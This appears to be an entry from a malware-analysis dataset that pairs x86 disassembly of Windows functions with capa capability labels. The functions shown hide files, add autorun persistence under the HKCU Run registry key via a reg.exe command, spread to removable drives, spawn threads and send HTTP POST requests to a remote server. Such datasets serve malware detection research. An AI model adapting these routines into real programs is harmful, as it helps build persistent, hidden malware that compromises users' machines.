joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x30
cmp dword [ebp + 0xc], 1
jne 0x100010cb
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x28], eax
mov eax, 0x11acc9e7
mov ecx, 0x3ab91d6
movd xmm0, eax
mov eax, 0xb522add4
mov ecx, 0xbc5a0c5f
mov esi, eax
mov dword [esp + 0x24], eax
mov edx, 0x11acc98f
mov ebx, 0x3ab91d6
mov edi, esp
xor eax, eax
mov dword [esp + 4], ebx
mov dword [esp], edx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], esi
pxor xmm0, xmmword [edi]
movd eax, xmm0
mov byte [esp + 0x1e], al
mov eax, 0x3ab91d6
mov esi, 0x11acc94c
movd xmm0, esi
mov dword [esp + 4], ebx
mov dword [esp], edx
mov dword [esp + 0xc], ecx
mov eax, dword [esp + 0x24]
mov dword [esp + 8], eax
mov dword [esp + 0x1f], 0x10001240
pxor xmm0, xmmword [edi]
movd eax, xmm0
mov byte [esp + 0x23], al
mov esi, dword [esp + 0x28]
add esi, 0x36850
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x1e]
mov edx, esp
push edx
push 6
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x100010da
mov eax, 1
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x10077100
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x10077b90
mov edx, dword fs:[0]
mov dword [ebp - 0x18], edx
mov dword fs:[0], eax
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ebp - 0x10], 0
lea eax, [ebp - 0x20]
push eax
push 0x10
call fcn.10077a40
mov ecx, dword [0x100a4578]
test ecx, ecx
jne 0x1007717e
push str.advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.SystemFunction036
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov dword [0x100a4578], eax
push 0x10
mov eax, dword [ebp + 8]
push dword [eax]
call ecx
mov eax, dword [ebp - 0x18]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10078020
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1c
mov esi, ecx
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x10], 0xffffffff
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0x10079020
mov ecx, dword fs:[0]
mov dword [ebp - 0x18], ecx
mov dword fs:[0], eax
mov dword [esi], 0
mov dword [esi + 4], 0
push 0x40
call fcn.10081280
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x20], esi
mov dword [esi], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x10], 0
push 0xa4
call fcn.10081280
add esp, 4
push 0xa4
push 0
mov dword [ebp - 0x24], eax
push eax
call fcn.10084fc0
add esp, 0xc
mov dword [ebp - 0x10], 1
push 0x40
call fcn.10081280
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov dword [ecx + 8], 0
mov dword [ecx + 0x18], 0
mov dword [ecx + 0x1c], 0xf
mov byte [ecx + 8], 0
mov dword [ecx + 0x20], 0
mov dword [ecx + 0x30], 0
mov dword [ecx + 0x34], 0xf
mov byte [ecx + 0x20], 0
mov dword [ecx + 0x38], 0
mov dword [ecx + 0x48], 0
mov dword [ecx + 0x4c], 0xf
mov byte [ecx + 0x38], 0
mov dword [ecx + 0x50], 0
mov dword [ecx + 0x60], 0
mov dword [ecx + 0x64], 0xf
mov byte [ecx + 0x50], 0
mov dword [ecx + 0x68], 0
mov dword [ecx + 0x78], 0
mov dword [ecx + 0x7c], 0xf
mov byte [ecx + 0x68], 0
mov dword [ecx + 0x80], 0
mov dword [ecx + 0x90], 0
mov dword [ecx + 0x94], 0xf
mov byte [ecx + 0x80], 0
mov dword [ecx + 0x9c], 0
mov dword [ecx + 0xa0], 0
mov eax, dword [ebp - 0x20]
mov dword [eax + 0xc], ecx
mov ecx, dword [ebp - 0x18]
mov dword fs:[0], ecx
add esp, 0x1c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1007a470
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 8
mov al, byte [edx]
mov byte [ecx], al
mov al, byte [edx + 1]
mov byte [ecx + 1], al
mov al, byte [edx + 2]
mov byte [ecx + 2], al
mov al, byte [edx + 3]
mov byte [ecx + 3], al
mov al, byte [edx + 4]
mov byte [ecx + 4], al
mov al, byte [edx + 5]
mov byte [ecx + 5], al
mov al, byte [edx + 6]
mov byte [ecx + 6], al
mov al, byte [edx + 7]
mov byte [ecx + 7], al
mov al, byte [edx + 8]
mov byte [ecx + 8], al
mov al, byte [edx + 9]
mov byte [ecx + 9], al
mov al, byte [edx + 0xa]
mov byte [ecx + 0xa], al
mov al, byte [edx + 0xb]
mov byte [ecx + 0xb], al
mov al, byte [edx + 0xc]
mov byte [ecx + 0xc], al
mov al, byte [edx + 0xd]
mov byte [ecx + 0xd], al
mov al, byte [edx + 0xe]
mov byte [ecx + 0xe], al
mov al, byte [edx + 0xf]
mov byte [ecx + 0xf], al
mov al, byte [edx + 0x10]
mov byte [ecx + 0x10], al
mov al, byte [edx + 0x11]
mov byte [ecx + 0x11], al
mov al, byte [edx + 0x12]
mov byte [ecx + 0x12], al
mov al, byte [edx + 0x13]
mov byte [ecx + 0x13], al
mov al, byte [edx + 0x14]
mov byte [ecx + 0x14], al
mov al, byte [edx + 0x15]
mov byte [ecx + 0x15], al
mov al, byte [edx + 0x16]
mov byte [ecx + 0x16], al
mov al, byte [edx + 0x17]
mov byte [ecx + 0x17], al
mov al, byte [edx + 0x18]
mov byte [ecx + 0x18], al
mov al, byte [edx + 0x19]
mov byte [ecx + 0x19], al
mov al, byte [edx + 0x1a]
mov byte [ecx + 0x1a], al
mov al, byte [edx + 0x1b]
mov byte [ecx + 0x1b], al
mov al, byte [edx + 0x1c]
mov byte [ecx + 0x1c], al
mov al, byte [edx + 0x1d]
mov byte [ecx + 0x1d], al
mov al, byte [edx + 0x1e]
mov byte [ecx + 0x1e], al
mov al, byte [edx + 0x1f]
mov byte [ecx + 0x1f], al
mov eax, 8
jmp 0x1007a585
mov edx, dword [esp]
mov bh, byte [edx + str.cw]
mov edx, dword [esp + 4]
movzx edx, byte [edx + str.cw]
mov dh, byte [ebp + str.cw]
mov bl, byte [esi + str.cw]
xor bh, byte [ecx + eax*4 - 0x20]
mov byte [ecx + eax*4], bh
xor dl, byte [ecx + eax*4 - 0x1f]
mov byte [ecx + eax*4 + 1], dl
xor dh, byte [ecx + eax*4 - 0x1e]
mov byte [ecx + eax*4 + 2], dh
xor bl, byte [ecx + eax*4 - 0x1d]
mov byte [ecx + eax*4 + 3], bl
inc eax
cmp eax, 0x3c
je 0x1007a5e8
mov bh, byte [ecx + eax*4 - 4]
movzx edx, byte [ecx + eax*4 - 3]
movzx esi, bh
mov dword [esp], esi
movzx esi, dl
mov dword [esp + 4], esi
mov dh, byte [ecx + eax*4 - 2]
movzx ebp, dh
mov bl, byte [ecx + eax*4 - 1]
movzx esi, bl
mov edi, eax
and edi, 7
cmp edi, 4
je 0x1007a540
test edi, edi
jne 0x1007a560
movzx edx, byte [ebp + str.cw]
mov dh, byte [esi + str.cw]
mov esi, dword [esp]
movzx ebx, byte [esi + str.cw]
mov esi, eax
shr esi, 3
mov bh, byte [esi + 0x1009594c]
mov esi, dword [esp + 4]
xor bh, byte [esi + str.cw]
jmp 0x1007a560
add esp, 8
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10089420
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1008944d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1008944d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4020b0
Capabilities:
Check if file exists
Create process on windows
Get disk information

Disassembly:
push ebp
mov ecx, 0x100
mov ebp, esp
push esi
lea esi, [ebp - 0x108]
push ebx
sub esp, 0x220
lea ebx, [ebp - 0x208]
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
movsx edx, byte [ebp - 0x108]
sub esp, 0xc
mov eax, str._c:_
mov dword [esp + 4], eax
mov dword [esp], ebx
mov dword [esp + 8], edx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call sub.KERNEL32.dll_GetDriveTypeA
sub esp, 4
cmp eax, 2
je 0x402116
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
mov ecx, esi
nop
lea esi, [esi]
mov ebx, dword [ecx]
add ecx, 4
lea edx, [ebx - 0x1010101]
not ebx
and edx, ebx
mov eax, edx
and eax, 0x80808080
je 0x402120
and edx, 0x8080
jne 0x402146
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
cmp ecx, 3
jbe 0x40210f
mov ecx, esi
lea esi, [esi]
lea edi, [edi]
mov eax, dword [ecx]
add ecx, 4
lea edx, [eax - 0x1010101]
not eax
and edx, eax
mov eax, edx
and eax, 0x80808080
je 0x402160
and edx, 0x8080
jne 0x402186
shr eax, 0x10
add ecx, 2
add al, al
sbb ecx, 3
sub ecx, esi
xor edx, edx
mov byte [ecx + ebp - 0x10c], dl
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x40210f
mov dword [esp + 0xc], esi
mov eax, 5
mov ecx, str.explorer
mov dword [esp + 0x14], eax
xor ebx, ebx
mov esi, 0x40918e
mov dword [esp + 0x10], ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
jmp 0x40210f
Function at 0x4021f0
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete file
Persist via run registry key
Set current directory
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x52c
call fcn.00402b30
mov dword [esp], eax
mov ebx, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x402310
mov dword [esp], ebx
call sub.KERNEL32.dll_SetCurrentDirectoryA
sub esp, 4
lea edi, [ebp - 0x118]
call fcn.00402c20
mov dword [esp + 4], edi
mov ecx, 0x100
mov esi, eax
mov dword [esp + 8], ecx
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x4023a0
mov dword [esp + 4], esi
xor eax, eax
mov ebx, str.HKCU
mov dword [esp + 8], eax
mov dword [esp], edi
call fcn.00402ec0
mov dword [esp], esi
mov ecx, 6
mov dword [esp + 4], ecx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], esi
call fcn.00402fc0
call fcn.00402da0
mov dword [esp + 0x10], eax
mov edx, 0x409198
mov eax, str.add__s_s__v__s__t_REG_SZ__d___s___f
mov dword [esp + 8], ebx
lea ebx, [ebp - 0x518]
mov dword [esp + 0xc], edx
mov dword [esp], ebx
mov dword [esp + 0x14], esi
mov dword [esp + 4], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0xc], ebx
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], ecx
mov eax, 0x40918e
mov ebx, 0x4091ed
mov dword [esp + 0x10], edx
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp + 4], esi
mov dword [esp], edi
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x402340
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], ebx
mov esi, 6
call sub.msvcrt.dll__mkdir
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], ebx
call fcn.00402fc0
jmp 0x402217
mov dword [esp], esi
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x402304
mov eax, dword [0x40a020]
test eax, eax
jne 0x4023ad
mov dword [esp + 8], esi
mov ecx, 5
xor edx, edx
mov dword [esp + 0x14], ecx
mov ebx, 0x4091f1
mov edi, 0x40918e
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 4], edi
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov dword [esp], 0
call sub.msvcrt.dll_exit
lea esi, [esi]
mov dword [esp], esi
call sub.msvcrt.dll_remove
jmp 0x40225f
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x402359
Function at 0x4023c0
Capabilities:
Check if file exists
Create directory
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x34c
call fcn.00402ce0
mov dword [esp], eax
mov edi, eax
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
je 0x402500
mov dword [esp + 8], edi
mov ecx, str._s
lea esi, [ebp - 0x118]
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
call sub.msvcrt.dll__findfirst
test eax, eax
mov ebx, eax
je 0x4024f8
lea esi, [ebp - 0x224]
jmp 0x402451
lea edx, [ebp - 0x338]
mov dword [esp], edx
call sub.KERNEL32.dll_LoadLibraryA
sub esp, 4
mov dword [esp], ebx
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
call sub.msvcrt.dll__findnext
test eax, eax
jne 0x4024f0
mov dword [esp + 0xc], esi
mov ecx, 0x4091f7
lea eax, [ebp - 0x338]
mov dword [esp + 4], ecx
mov dword [esp + 8], edi
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp], esi
mov edx, str..dll
mov dword [esp + 4], edx
call sub.msvcrt.dll_strstr
test eax, eax
jne 0x402426
mov dword [esp], esi
mov eax, str..exe
mov dword [esp + 4], eax
call sub.msvcrt.dll_strstr
test eax, eax
je 0x402437
mov dword [esp], 0
xor ecx, ecx
mov edx, 5
mov dword [esp + 0x14], edx
mov eax, 0x4091f1
lea edx, [ebp - 0x338]
mov dword [esp + 0x10], ecx
mov ecx, 0x40918e
mov dword [esp + 8], edx
mov dword [esp + 4], ecx
mov dword [esp + 0xc], eax
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll__findnext
test eax, eax
je 0x402451
mov esi, esi
mov dword [esp], ebx
call sub.msvcrt.dll__findclose
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], edi
mov ebx, 6
call sub.msvcrt.dll__mkdir
mov dword [esp + 4], ebx
mov dword [esp], edi
call sub.KERNEL32.dll_SetFileAttributesA
sub esp, 8
mov dword [esp], edi
call fcn.00402fc0
jmp 0x4023e7
Function at 0x402530
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
xor ebx, ebx
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sub.msvcrt.dll_srand
call fcn.004020b0
mov dword [esp + 0x14], ebx
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x10], ecx
xor ebx, ebx
mov eax, 0x4032e0
mov dword [esp + 0xc], edx
mov dword [esp + 4], ebx
mov ebx, 0x401d80
mov dword [esp + 8], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
call fcn.004021f0
call fcn.004023c0
mov dword [esp + 8], ebx
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], ecx
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x10], edx
xor ebx, ebx
mov dword [esp + 4], ecx
mov dword [esp + 0xc], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor edx, edx
xor eax, eax
mov dword [esp + 0x14], edx
mov ecx, 0x403210
xor edx, edx
mov dword [esp + 0xc], ebx
xor ebx, ebx
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp + 0x10], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
mov edx, 0x401290
xor eax, eax
mov dword [esp + 0x10], ebx
xor ebx, ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], ebx
mov eax, 0x4014e0
xor ebx, ebx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 4], ebx
mov ebx, 0x401330
mov dword [esp + 8], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x14], ecx
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x10], edx
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ecx
mov dword [esp + 0xc], eax
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
xor edx, edx
xor eax, eax
mov dword [esp + 0x14], edx
mov ecx, 0x4016f0
xor edx, edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], 0
call sub.KERNEL32.dll_CreateThread
sub esp, 0x18
mov ebx, eax
lea esi, [esi]
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
cmp byte [0x40a010], 0
je 0x4026b0
test ebx, ebx
je 0x4026b0
mov dword [esp], ebx
xor eax, eax
mov dword [esp + 4], eax
call sub.KERNEL32.dll_TerminateThread
sub esp, 8
mov dword [esp], 0x64
call sub.KERNEL32.dll_Sleep
sub esp, 4
cmp byte [0x40a010], 0
je 0x4026b0
jmp 0x4026c8
Function at 0x402700
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
mov dword [ebp - 8], esi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 4], edi
test esi, esi
movzx ebx, byte [ebp + 0x10]
je 0x402720
mov byte [esi], 0
xor edx, edx
xor ecx, ecx
lea eax, [ebp - 0x41c]
mov dword [ebp - 0x41c], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sub.WININET.DLL_InternetGetConnectedState
sub esp, 8
xor edx, edx
test eax, eax
jne 0x402754
mov ebx, dword [ebp - 0xc]
mov eax, edx
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov byte [ebp - 0x421], 0
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x10], ecx
xor eax, eax
xor edi, edi
mov dword [esp + 4], edi
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp], str.fortis
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov edi, eax
je 0x4028e7
xor ecx, ecx
mov eax, 1
mov edx, 3
mov dword [esp + 0x1c], eax
xor eax, eax
mov dword [esp + 0x18], ecx
xor ecx, ecx
mov dword [esp + 0x14], edx
mov edx, 0x50
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov eax, dword [ebp + 8]
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.WININET.DLL_InternetConnectA
mov dword [ebp - 0x428], eax
sub esp, 0x20
test eax, eax
je 0x4028dc
mov eax, 1
mov ecx, 0x400000
xor edx, edx
mov dword [esp + 0x1c], eax
xor eax, eax
mov dword [esp + 0x18], ecx
xor ecx, ecx
test bl, bl
mov dword [esp + 0x10], eax
mov eax, str.POST
mov dword [esp + 0x14], edx
mov dword [esp + 0xc], ecx
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
jne 0x402812
mov eax, 0x40921c
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x428]
mov dword [esp], ebx
call sub.WININET.DLL_HttpOpenRequestA
sub esp, 0x20
test eax, eax
mov ebx, eax
je 0x4028cb
mov dword [esp], ebx
xor edx, edx
xor eax, eax
mov dword [esp + 0x10], edx
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
call sub.WININET.DLL_HttpSendRequestA
sub esp, 0x14
test eax, eax
je 0x4028c0
mov byte [ebp - 0x421], 1
jmp 0x4028b2
mov dword [esp], ebx
lea edx, [ebp - 0x420]
mov eax, 0x3ff
mov dword [esp + 0xc], edx
lea ecx, [ebp - 0x418]
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
je 0x4028c0
mov eax, dword [ebp - 0x420]
test eax, eax
je 0x4028c0
xor edx, edx
lea ecx, [ebp - 0x418]
mov byte [eax + ebp - 0x418], dl
mov dword [esp + 4], ecx
mov dword [esp], esi
call sub.msvcrt.dll_strcat
test esi, esi
jne 0x402861
lea esi, [esi]
lea edi, [edi]
mov dword [esp], ebx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov esi, dword [ebp - 0x428]
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], edi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
movzx edx, byte [ebp - 0x421]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 8]
mov edi, dword [ebp - 4]
mov esp, ebp
mov eax, edx
pop ebp
ret
Function at 0x402b30
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
xor esi, esi
lea esi, [esi]
mov dword [esp], 0x100
call fcn.00404140
mov ebx, eax
mov eax, dword [edi*4 + 0x40809c]
mov dword [esp], eax
call sub.msvcrt.dll_getenv
mov ecx, dword [esi*4 + 0x408080]
mov edx, str._s_s
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov dword [esp + 0xc], ecx
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x402c08
test ebx, ebx
je 0x402b99
mov dword [esp], ebx
call fcn.004041e0
inc esi
cmp esi, 7
jl 0x402b40
inc edi
cmp edi, 2
jl 0x402b3b
mov dword [esp], 0x100
mov ebx, 7
mov edi, 2
call fcn.00404140
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv ebx
mov ebx, edx
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ecx, dword [edx*4 + 0x40809c]
mov dword [esp], ecx
call sub.msvcrt.dll_getenv
mov edi, dword [ebx*4 + 0x408080]
mov ebx, str._s_s
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edi
mov dword [esp], esi
mov dword [esp + 8], eax
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402c20
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
xor esi, esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x100
call fcn.00404140
mov ebx, eax
call fcn.00402b30
mov edx, dword [esi*4 + 0x408060]
mov dword [esp + 8], eax
mov eax, str._s_s
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x402ccc
test ebx, ebx
je 0x402c7f
mov dword [esp], ebx
call fcn.004041e0
inc esi
cmp esi, 8
jl 0x402c30
mov dword [esp], 0x100
call fcn.00404140
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ebx, edx
call fcn.00402b30
mov edi, dword [ebx*4 + 0x408060]
mov ecx, str._s_s
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x402ce0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 7
push esi
xor esi, esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x100
call fcn.00404140
mov ebx, eax
call fcn.00402b30
mov edx, dword [esi*4 + 0x40801c]
mov dword [esp + 8], eax
mov eax, str._s_s
mov dword [esp + 0xc], edx
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.msvcrt.dll_sprintf
mov dword [esp], ebx
call dword [sym.imp.SHLWAPI.DLL_PathFileExistsA]
sub esp, 4
test eax, eax
jne 0x402d8c
test ebx, ebx
je 0x402d3f
mov dword [esp], ebx
call fcn.004041e0
inc esi
cmp esi, 7
jl 0x402cf0
mov dword [esp], 0x100
call fcn.00404140
mov esi, eax
call sub.msvcrt.dll_rand
cdq
idiv edi
mov ebx, edx
call fcn.00402b30
mov edi, dword [ebx*4 + 0x40801c]
mov ecx, str._s_s
mov dword [esp], esi
mov dword [esp + 8], eax
mov dword [esp + 0xc], edi
mov dword [esp + 4], ecx
call sub.msvcrt.dll_sprintf
lea esp, [ebp - 0xc]
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x402da0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, 8
push esi
lea esi, [ebp - 0x10]
push ebx
sub esp, 0x1c
xor ebx, ebx
jmp 0x402dbf
inc ebx
cmp ebx, 8
jge 0x402e40
mov dword [esp + 0x10], esi
xor edx, edx
mov ecx, 0x20019
mov dword [esp + 8], edx
mov eax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp + 0xc], ecx
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sub.ADVAPI32.DLL_RegOpenKeyExA
mov edx, dword [ebp - 0x10]
sub esp, 0x14
test edx, edx
je 0x402db5
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x14], eax
xor eax, eax
mov dword [esp + 0x10], ecx
xor ecx, ecx
mov dword [esp + 0xc], eax
mov dword [esp + 8], ecx
mov eax, dword [ebx*4 + 0x408040]
mov dword [esp], edx
mov dword [esp + 4], eax
call sub.ADVAPI32.DLL_RegQueryValueExA
sub esp, 0x18
test eax, eax
je 0x402e57
mov edx, dword [ebp - 0x10]
inc ebx
mov dword [esp], edx
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
cmp ebx, 8
jl 0x402dbf
mov esi, esi
lea edi, [edi]
call sub.msvcrt.dll_rand
cdq
idiv edi
mov eax, dword [edx*4 + 0x408040]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov esi, dword [ebp - 0x10]
mov dword [esp], esi
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, dword [ebx*4 + 0x408040]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret